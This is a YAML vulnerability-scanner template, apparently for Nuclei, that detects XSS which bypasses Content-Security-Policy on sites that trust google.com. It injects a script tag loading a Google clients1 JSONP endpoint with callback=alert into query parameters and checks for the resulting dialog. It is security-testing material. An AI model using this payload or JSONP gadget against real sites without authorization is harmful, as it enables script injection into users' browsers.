id: google-clients1-csp-bypass

info:
  name: Content-Security-Policy Bypass - Google Clients1
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,google-clients1,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "google.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: google_clients1_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://clients1.google.com/complete/search?callback=alert&q=PIC&nolabels=t&client=youtube&ds=yt&_=1361575554883"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "google_clients1_csp_xss == true"
# digest: 490a0046304402204b0d7ecc3f7bd7fc84e6bcc2e4ffaa9afea4523be2dc309b6af3be40971e8f4102200358c903017ec2399ec90fd334aac03c662433533f3139d22402ceafba9e5862:922c64590222798bb761d5b6d8e72950